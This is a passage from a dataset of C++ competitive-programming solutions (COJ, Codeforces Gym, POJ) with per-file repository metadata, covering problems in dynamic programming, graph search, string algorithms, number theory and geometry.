std;\r\n\r\nstring s;\r\nint c,ans;\r\n\r\n\r\nint main()\r\n{\r\n for(cin >> c; c--;)\r\n {\r\n cin >> s;\r\n reverse(s.begin(),s.end());\r\n for(int i=0; i<s.size(); i++)\r\n if(s[i]=='1')\r\n {\r\n if(i&1)ans=(ans+1)%3;\r\n else ans=(ans+2)%3;\r\n }\r\n\r\n if(ans%3)cout << \"NO\" << endl;\r\n else cout << \"YES\" << endl;\r\n ans=0;\r\n //cout << ans << endl << endl;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3644133508205414, "alphanum_fraction": 0.3908313810825348, "avg_line_length": 15.875, "blob_id": "e3cd5e85f09fcb485c696e351092c9936bd4af94", "content_id": "2cba4d58d6455c3144897eecdf9ccc501f202b11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1287, "license_type": "no_license", "max_line_length": 61, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p3377-Accepted-s847821.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long LL;\r\n\r\nconst LL INF = 1LL << 63LL;\r\n\r\nbool criba[200];\r\n\r\nvector<LL> p;\r\n\r\nLL ans;\r\n\r\nLL power(LL x, LL n) {\r\n\tLL res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1LL) res *= x;\r\n\t\tx *= x;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nvoid calc(LL cur, int pos, int n) {\r\n //cout << cur << \" \" << pos << \" \" << n << \"\\n\";\r\n\tif (n == 1) {\r\n\t\tif (ans > cur) {\r\n\t\t\tans = cur;\r\n\t\t}\r\n\t} else {\r\n\t\tfor (int i = 2; i * i <= n; i++) {\r\n\t\t\tif (n % i == 0) {\r\n\t\t\t\tif (cur < INF / power(p[pos], i - 1)) {\r\n\t\t\t\t\tcalc(cur * power(p[pos], i - 1), pos + 1, n / i);\r\n\t\t\t\t}\r\n\t\t\t\tif (i * i != n) {\r\n\t\t\t\t\tif (cur < INF / power(p[pos], n / i - 1)) {\r\n\t\t\t\t\t\tcalc(cur * power(p[pos], n / i - 1), pos + 1, i);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//if (!criba[n]) {\r\n if (cur < INF / power(p[pos], n - 1)) {\r\n calc(cur * power(p[pos], n - 1), pos + 1, 1);\r\n }\r\n\t\t//}\r\n\t}\r\n}\r\n\r\nint t, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i <= 100; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tp.push_back(i);\r\n\t\t\tfor (int j = i * i; j <= 100; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tans = power(2, n - 1);\r\n\t\tcalc(1, 0, n);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.27979275584220886, "alphanum_fraction": 0.36388999223709106, "avg_line_length": 20.44444465637207, "blob_id": "ac93eafd8058573be0aec7dd05996808288c2414", "content_id": "1197193ceba797fb733401cf40f96beb2d89a148", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2509, "license_type": "no_license", "max_line_length": 77, "num_lines": 117, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst int mod = 1000000009;\n\nint add( int a, int b ){\n a += b;\n if( a >= mod ){\n a -= mod;\n }\n\n return a;\n}\n\nint mult( int a, int b ){\n return ( (ll)a * (ll)b ) % mod;\n}\n\nconst int MAXN = 505;\n\nint dp[2][MAXN][MAXN];\n\ntypedef pair<int,int> par;\n\npar s[2*MAXN];\n\nint cnt0[2*MAXN];\nint cnt1[2*MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout);\n\n int N, K10; cin >> N >> K10;\n\n if( (N - K10) % 2 != 0 ){\n cout << \"0\\n\";\n return 0;\n }\n\n int K01 = (N - K10) / 2;\n K10 += K01;\n\n for( int i = 0; i < N; i++ ){\n cin >> s[i+1].first;\n s[i+1].second = 0;\n }\n\n for( int i = 0; i < N; i++ ){\n cin >> s[i+N+1].first;\n s[i+N+1].second = 1;\n }\n\n sort( s+1 , s+1+N+N );\n\n /*for( int i = 1; i <= N+N; i++ ){\n cerr << s[i].first << ' ';\n }cerr << '\\n';\n\n for( int i = 1; i <= N+N; i++ ){\n cerr << s[i].second << ' ';\n }cerr << '\\n';*/\n\n for( int i = 1; i <= N+N; i++ ){\n cnt0[i] = cnt0[i-1];\n cnt1[i] = cnt1[i-1];\n\n if( s[i].second == 0 ){\n cnt0[i]++;\n }\n else{\n cnt1[i]++;\n }\n }\n\n dp[0][0][0] = 1;\n\n for( int n = 0; n < N+N; n++ ){\n for( int k01 = 0; k01 <= K01; k01++ ){\n for( int k10 = 0; k10 <= K10; k10++ ){\n dp[1][k01][k10] = add( dp[1][k01][k10] ,\n dp[0][k01][k10] );\n\n int c0 = cnt0[n+1] - (k01 + k10);\n int c1 = cnt1[n+1] - (k01 + k10);\n\n if( c1 > 0 && s[n+1].second == 0 ){\n dp[1][k01][k10+1] = add( dp[1][k01][k10+1] ,\n mult( c1 , dp[0][k01][k10] ) );\n }\n\n if( c0 > 0 && s[n+1].second == 1 ){\n dp[1][k01+1][k10] = add( dp[1][k01+1][k10] ,\n mult( c0 , dp[0][k01][k10] ) );\n }\n }\n }\n\n for( int k01 = 0; k01 <= K01; k01++ ){\n for( int k10 = 0; k10 <= K10; k10++ ){\n dp[0][k01][k10] = dp[1][k01][k10];\n dp[1][k01][k10] = 0;\n }\n }\n }\n\n cout << dp[0][K01][K10] << '\\n';\n}\n" }, { "alpha_fraction": 0.402356892824173, "alphanum_fraction": 0.4141414165496826, "avg_line_length": 14.732394218444824, "blob_id": "0e48928f66a993d895b12abf9848927922d4ad12", "content_id": "3aa23b78345f7904c5f49403e794fe4f42f3a5ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1188, "license_type": "no_license", "max_line_length": 51, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p3463-Accepted-s904711.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct data {\r\n\tint c, a, t;\r\n\tint len() {\r\n\t\treturn c + a + t;\r\n\t}\r\n\tconst char ch(int p) {\r\n\t\tif (p < c) return 'C';\r\n\t\tif (p < c + a) return 'A';\r\n\t\treturn 'T';\r\n\t}\r\n\tvoid print() {\r\n\t\tint l = len();\r\n\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\tcout << ch(i);\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n};\r\n\r\nbool operator < (data a, data b) {\r\n\tif (a.len() != b.len()) return a.len() < b.len();\r\n\tint l = a.len();\r\n\tfor (int i = 0; i < l; i++) {\r\n\t\tif (a.ch(i) != b.ch(i)) return a.ch(i) < b.ch(i);\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint t, n;\r\n\r\nint val[5];\r\n\r\nvector <data> ans;\r\n\r\nvoid dfs(int n, int d) {\r\n\tif (d == 2) {\r\n\t\tval[d] = n;\r\n\t\tans.push_back((data) {val[0], val[1], val[2]});\r\n\t} else {\r\n\t\tfor (int i = 1; i * i <= n; i++) {\r\n\t\t\tif (n % i == 0) {\r\n\t\t\t\tval[d] = i;\r\n\t\t\t\tdfs(n / i, d + 1);\r\n\t\t\t\tif (i * i != n) {\r\n\t\t\t\t\tval[d] = n / i;\r\n\t\t\t\t\tdfs(i, d + 1);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tans.clear();\r\n\t\tcin >> n;\r\n\t\tdfs(n, 0);\r\n\t\tsort(ans.begin(), ans.end());\r\n\t\tcout << ans.size() << \"\\n\";\r\n\t\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\t\tans[i].print();\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4584178626537323, "alphanum_fraction": 0.49898579716682434, "avg_line_length": 17.719999313354492, "blob_id": "94353e4122d3edebc6e6155aa5be310b1745fd3f", "content_id": "492b6a4813a921e8538a51e7a5e62a319786af43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 493, "license_type": "no_license", "max_line_length": 68, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3010-Accepted-s683217.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL inf = 1000000000LL;\r\n\r\nLL tc, a, b, lo, hi, ans;\r\nvector<LL> v;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tfor (LL i = 0; i <= inf; i = 2LL * (i + 1LL) - 1LL) v.push_back(i);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tans = 0LL;\r\n\t\tfor (int i = 0; v[i] <= a + b; i++)\r\n\t\t\tans += min(v[i], a) - max(0LL, v[i] - b) + 1LL;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35197368264198303, "alphanum_fraction": 0.3791118562221527, "avg_line_length": 19.610170364379883, "blob_id": "0dc62f6c4bacfb043eb653da7142e63898fd035f", "content_id": "7c177e877962235f99231f1d82a2425f8b5d6c0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1216, "license_type": "no_license", "max_line_length": 72, "num_lines": 59, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst int MAXN = 101000;\nint n;\nint d[MAXN];\nint lev[MAXN];\nvector<int> g[MAXN];\n\nvoid bfs( int x ){\n fill( lev, lev+n+1, -1 );\n lev[x] = 0;\n queue<int> q;\n q.push( x );\n\n while( !q.empty() ){\n int u = q.front(); q.pop();\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( lev[v] == -1 ){\n lev[v] = lev[u] +1;\n q.push( v );\n }\n }\n }\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin );\n freopen( \"jumping.in\", \"r\", stdin );\n int tc;\n cin >> tc;\n while( tc-- ){\n\n cin >> n;\n for( int i = 0; i <= n; i++ )\n g[i].clear();\n for( int i = 1; i <= n; i++ ){\n cin >> d[i];\n int v = i+d[i];\n if( v <= n )\n g[ v ].push_back( i );\n v = i - d[i];\n if( v > 0 )\n g[v].push_back( i );\n }\n bfs( n );\n for( int i = 1; i <= n; i++ ){\n cout << lev[i] << '\\n';\n }\n }\n\n}\n" }, { "alpha_fraction": 0.36745887994766235, "alphanum_fraction": 0.3930530250072479, "avg_line_length": 13.628571510314941, "blob_id": "8c8d9d0470d8fb4bde77271b6377ff4664d8a052", "content_id": "740b230cf1d16e17cb88fd0de869ba3b9d16912e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 547, "license_type": "no_license", "max_line_length": 31, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p3359-Accepted-s827141.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll n;\r\nll x[10], y[10];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < 4; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t}\r\n\tll ans = 0;\r\n\tfor (int i = 0; i < 4; i++) {\r\n\t\tll tmp = y[i];\r\n\t\tfor (int j = 0; j < 4; j++) {\r\n\t\t\tif (j == i) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ttmp *= (n - x[j]);\r\n\t\t}\r\n\t\tfor (int j = 0; j < 4; j++) {\r\n\t\t\tif (j == i) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ttmp /= (x[i] - x[j]);\r\n\t\t}\r\n\t\tans += tmp;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5027322173118591, "alphanum_fraction": 0.5191256999969482, "avg_line_length": 12.076923370361328, "blob_id": "9702a4f2722c16a88ba47c174a791b4f0a6b0135", "content_id": "48e75b65619b7dfa8b6154863e7e3d40eaa735a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 183, "license_type": "no_license", "max_line_length": 24, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p1457-Accepted-s481645.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nlong n,k;\r\nunsigned long long ans;\r\n\r\nint main()\r\n{\r\n cin >> n >> k;\r\n ans=n*(n-1)*k/2;\r\n cout << ans << endl;\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3165048658847809, "alphanum_fraction": 0.34563106298446655, "avg_line_length": 17.727272033691406, "blob_id": "c3861dbdbeea320fd91b74b8462c41c6e1c3e7c7", "content_id": "7014d8f7a0e37a30c10a719686cfdb24f9000cd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1030, "license_type": "no_license", "max_line_length": 52, "num_lines": 55, "path": "/POJ/1850.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <cstring>\n\nusing namespace std;\n\nconst int L = 10;\nconst int A = 26;\n\nlong long C[A + 10][A + 10];\n\nchar s[L + 10];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n for (int i = 0; i <= A; i++) {\n C[i][0] = C[i][i] = 1;\n for (int j = 1; j < i; j++) {\n C[i][j] = C[i - 1][j - 1] + C[i - 1][j];\n } \n }\n\n\n cin >> s;\n int t = strlen(s);\n\n for (int i = 1; i < t; i++) {\n if (s[i] <= s[i - 1]) {\n cout << \"0\\n\";\n return 0;\n }\n }\n\n long long answer = 1;\n for (int l = 1; l < t; l++) {\n answer += C[A][l];\n }\n\n for (int l = 0; l < t; l++) {\n char start = 'a';\n if (l > 0) {\n start = s[l - 1] + 1;\n }\n for (char c = start; c < s[l]; c++) {\n int chars = A - (c - 'a' + 1);\n int len = t - l - 1;\n if (chars >= len) {\n answer += C[chars][len];\n }\n }\n }\n\n cout << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3991369903087616, "alphanum_fraction": 0.4099244773387909, "avg_line_length": 17.3125, "blob_id": "3dfc539951cbcc72364879bf8ba42e26513a032b", "content_id": "8cf64bb193300feb4964977bca4c7cc64f7f68a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 927, "license_type": "no_license", "max_line_length": 73, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3382-Accepted-s869526.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nlong long k, l;\r\n\r\nint main() {\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> l >> k;\r\n\tlong long lo = 1, hi = l * l / k;\r\n\tlong long ans = lo;\r\n\tlong long mid, sum;\r\n\tlong long last;\r\n\twhile (lo <= hi) {\r\n\t\tmid = (lo + hi) >> 1;\r\n\t\tbool ok = true;\r\n\t\tsum = 0;\r\n\t\tlast = 0;\r\n\t\tfor (int i = 0; i < k; i++) {\r\n if (l - last < k - i) {\r\n ok = false;\r\n break;\r\n }\r\n if (last < k && (2 * last + 1 >= mid) && l - last >= k - i) {\r\n break;\r\n }\r\n\t\t\tsum += mid;\r\n\t\t\tlast = sqrt(sum);\r\n\t\t\tif (last * last < sum) last++;\r\n\t\t\tif (last > l) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tsum = last * last;\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1LL;\r\n\t\t} else {\r\n\t\t\thi = mid - 1LL;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3097928464412689, "alphanum_fraction": 0.3399246633052826, "avg_line_length": 23.90243911743164, "blob_id": "b04098cfa0a5da11e7d3e8b816ae4e53fb70404f", "content_id": "9fe35d60191002794ed36e78f8d56d53b81a1908", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 59, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2905-Accepted-s621128.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\nconst double eps = 1e-7;\r\n\r\nint n;\r\ndouble a[MAXN], s;\r\n\r\ndouble f(double x) {\r\n double ret = 0.0;\r\n for (int i = 0; i < n; i++) ret += 1000.0 / (a[i] - x);\r\n return ret + 1e-9;\r\n}\r\n\r\nint main() {\r\n while (scanf(\"%d\", &n) && n) {\r\n for (int i = 0; i < n; i++) scanf(\"%lf\", &a[i]);\r\n if (n == 1) printf(\"The planet is doomed.\\n\");\r\n else {\r\n sort(a, a + n);\r\n printf(\"%d\", n - 1);\r\n for (int i = 1; i < n; i++) {\r\n double p1 = a[i - 1], p2 = a[i];\r\n while (true) {\r\n double m = (p1 + p2) / 2.0, fm = f(m);\r\n if (fabs(fm) < eps) {\r\n s = m + 1e-9;\r\n break;\r\n }\r\n if (fm > eps) p2 = m;\r\n else p1 = m;\r\n }\r\n printf(\" %.3lf\", s);\r\n }\r\n printf(\"\\n\");\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.48427674174308777, "alphanum_fraction": 0.48951780796051025, "avg_line_length": 19.717391967773438, "blob_id": "9c057be75c2c6d5ae9694d6c84b0fa4a163dba7d", "content_id": "0cdc0b9f4461bf3f531114602a64c2737e1e4b47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 954, "license_type": "no_license", "max_line_length": 77, "num_lines": 46, "path": "/COJ/Copa-UCI-2018/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct point {\n double x, y;\n point(double _x = 0, double _y = 0) : x(_x), y(_y) {}\n};\n\npoint operator + (const point & P, const point & Q) {\n return point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point & P, const point & Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point & P, double k) {\n return point(P.x * k, P.y * k);\n}\n\ndouble dot(const point & P, const point & Q) {\n return P.x * Q.x + P.y * Q.y;\n}\n\ndouble cross(const point & P, const point & Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n cout.precision(3);\n\n point P, A, B;\n\n cin >> P.x >> P.y >> A.x >> A.y >> B.x >> B.y;\n\n double t = dot(P - A, B - A) / dot(B - A, B - A);\n\n point Q = A + (B - A) * t;\n double d = sqrt(dot(P - Q, P - Q));\n\n cout << fixed << Q.x << \" \" << fixed << Q.y << \" \" << fixed << d << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.4170924425125122, "alphanum_fraction": 0.44078031182289124, "avg_line_length": 17.57272720336914, "blob_id": "6d627ef9fb27d5b8fa2c6f8e14dc4b09d606a799", "content_id": "b06ed8c832d6c4b631c998cd846ec8e52d97d15b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2153, "license_type": "no_license", "max_line_length": 80, "num_lines": 110, "path": "/COJ/eliogovea-cojAC/eliogovea-p2073-Accepted-s1048675.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int SIZE = 3 * 100 * 1000 + 5;\r\n\r\nint bit[SIZE];\r\n\r\nvoid init(int n) {\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tbit[i] = 0;\r\n\t}\r\n}\r\n\r\ninline void update(int p, int n, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint findFirstActive(int l, int r, int n) {\r\n\tint a = query(l - 1);\r\n\tint b = query(r);\r\n\tif (b > a) { // at least one active center\r\n\t\tint sum = a + 1;\r\n\t\tint lo = l;\r\n\t\tint hi = r;\r\n\t\tint res = hi;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tif (query(mid) - a >= sum) {\r\n\t\t\t\tres = mid;\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\ninline void manacher(string &s, int *u) {\r\n\tint n = s.size() * 2;\r\n\tfor (int i = 0, j = 0, k; i < n; i += k, j = std::max(j - k, 0)) {\r\n\t\twhile (i >= j && i + j + 1 < n && s[(i - j) >> 1] == s[(i + j + 1) >> 1]) ++j;\r\n\t\tfor (u[i] = j, k = 1; i >= k && u[i] >= k && u[i - k] != u[i] - k; ++k) {\r\n\t\t\tu[i + k] = std::min(u[i - k], u[i] - k);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint t;\r\nstring s;\r\nint maxPal[2 * SIZE];\r\n\r\nvector <int> removeEvents[SIZE];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> s;\r\n\t\tif (s.size() < 4) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tmanacher(s, maxPal);\r\n\r\n\t\tinit(s.size());\r\n\t\tfor (int i = 0; i + 1 < s.size(); i++) {\r\n\t\t\tremoveEvents[i + 1].clear();\r\n\t\t}\r\n\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i + 1 < s.size(); i++) {\r\n\t\t\tint pos = i + 1;\r\n\t\t\tint center = i + i + 1;\r\n\t\t\tint radius = maxPal[center] / 2;\r\n\t\t\tif (radius >= 2) {\r\n\t\t\t\tint lPos = pos - radius / 2;\r\n\t\t\t\tint rPos = pos - 1;\r\n\t\t\t\tint first = findFirstActive(lPos, rPos, s.size() - 1);\r\n\t\t\t\tif (first != -1) {\r\n\t\t\t\t\tans = max(ans, pos - first);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int j = 0; j < removeEvents[pos].size(); j++) {\r\n\t\t\t\tupdate(removeEvents[pos][j], s.size(), -1);\r\n\t\t\t}\r\n\t\t\tif (radius >= 1) {\r\n\t\t\t\tupdate(pos, s.size(), 1);\r\n\t\t\t\tremoveEvents[pos + radius].push_back(pos);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << 4 * ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42977777123451233, "alphanum_fraction": 0.4515555500984192, "avg_line_length": 18.642202377319336, "blob_id": "b532771d88c355f7b7018c582ac49c892e211efc", "content_id": "7d1eae999e4361e3937d1e74aa5a1eac8976cb35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2250, "license_type": "no_license", "max_line_length": 57, "num_lines": 109, "path": "/COJ/eliogovea-cojAC/eliogovea-p1245-Accepted-s661004.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 1000005, alph = 26;\r\n\r\nint N;\r\nstring w[10005];\r\n\r\nbool cmp(const string &a, const string &b) {\r\n return a.size() < b.size();\r\n}\r\n\r\nstruct vertex {\r\n\tint fin;\r\n\tint fail;\r\n\tint link;\r\n\tint next[alph];\r\n\tvertex() {\r\n\t\tfin = fail = link = -1;\r\n\t\tfor (int i = 0; i < alph; i++) next[i] = -1;\r\n\t}\r\n} T[MAXS];\r\n\r\nint states;\r\n\r\nvoid add(const string &s, int p) {\r\n\tint cur = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tchar c = s[i] - 'a';\r\n\t\tif (T[cur].next[c] == -1)\r\n\t\t\tT[cur].next[c] = states++;\r\n\t\tcur = T[cur].next[c];\r\n\t}\r\n\tT[cur].fin = p;\r\n}\r\n\r\nvoid buildTrie() {\r\n\tfor (int i = 0; i < states; i++)\r\n\t\tT[i] = vertex();\r\n\tstates = 1;\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tadd(w[i], i);\r\n}\r\n\r\nqueue<int> Q;\r\n\r\nvoid buildAC() {\r\n\tfor (int i = 0; i < alph; i++)\r\n\t\tif (T[0].next[i] == -1) T[0].next[i] = 0;\r\n\t\telse {\r\n\t\t\tT[T[0].next[i]].fail = 0;\r\n\t\t\tQ.push(T[0].next[i]);\r\n\t\t}\r\n\twhile (!Q.empty()) {\r\n\t\tint cur = Q.front(); Q.pop();\r\n\t\tfor (int i = 0; i < alph; i++)\r\n\t\t\tif (T[cur].next[i] != -1) {\r\n\t\t\t\tint fail = T[cur].fail;\r\n\t\t\t\tint next = T[cur].next[i];\r\n\t\t\t\twhile (T[fail].next[i] == -1)\r\n\t\t\t\t\tfail = T[fail].fail;\r\n\t\t\t\tfail = T[fail].next[i];\r\n\t\t\t\tT[next].fail = fail;\r\n\t\t\t\tif (T[fail].fin != -1) T[next].link = fail;\r\n\t\t\t\telse T[next].link = T[fail].link;\r\n\t\t\t\tQ.push(next);\r\n\t\t\t}\r\n\t}\r\n}\r\n\r\nint dp[MAXS];\r\n\r\nint solve() {\r\n\tint ret = 1;\r\n\tfor (int i = 0; i < N; i++) dp[i] = 1;\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tconst string &s = w[i];\r\n\t\tint cur = 0;\r\n\t\tfor (int j = 0; s[j]; j++) {\r\n\t\t\tchar c = s[j] - 'a';\r\n\t\t\twhile (T[cur].next[c] == -1)\r\n cur = T[cur].fail;\r\n\t\t\tcur = T[cur].next[c];\r\n\t\t\tif (T[cur].fin != -1 && T[cur].fin != i)\r\n\t\t\t\tdp[i] = max(dp[i], dp[T[cur].fin] + 1);\r\n\t\t\tfor (int k = T[cur].link; k != -1; k = T[k].link)\r\n if (T[k].fin != i)\r\n dp[i] = max(dp[i], dp[T[k].fin] + 1);\r\n\t\t}\r\n\t\tret = max(ret, dp[i]);\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0); cout.tie(0);\r\n\twhile (cin >> N && N) {\r\n\t\tfor (int i = 0; i < N; i++)\r\n\t\t\tcin >> w[i];\r\n sort(w, w + N, cmp);\r\n\t\tbuildTrie();\r\n\t\tbuildAC();\r\n\t\tcout << solve() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36300578713417053, "alphanum_fraction": 0.39421966671943665, "avg_line_length": 14.446428298950195, "blob_id": "bf3b9166b38eb92eec46d47f54b19d953d08a027", "content_id": "d03d2e0dc7fb6768ad58e8c7c77e767a4fbf8778", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 865, "license_type": "no_license", "max_line_length": 56, "num_lines": 56, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef 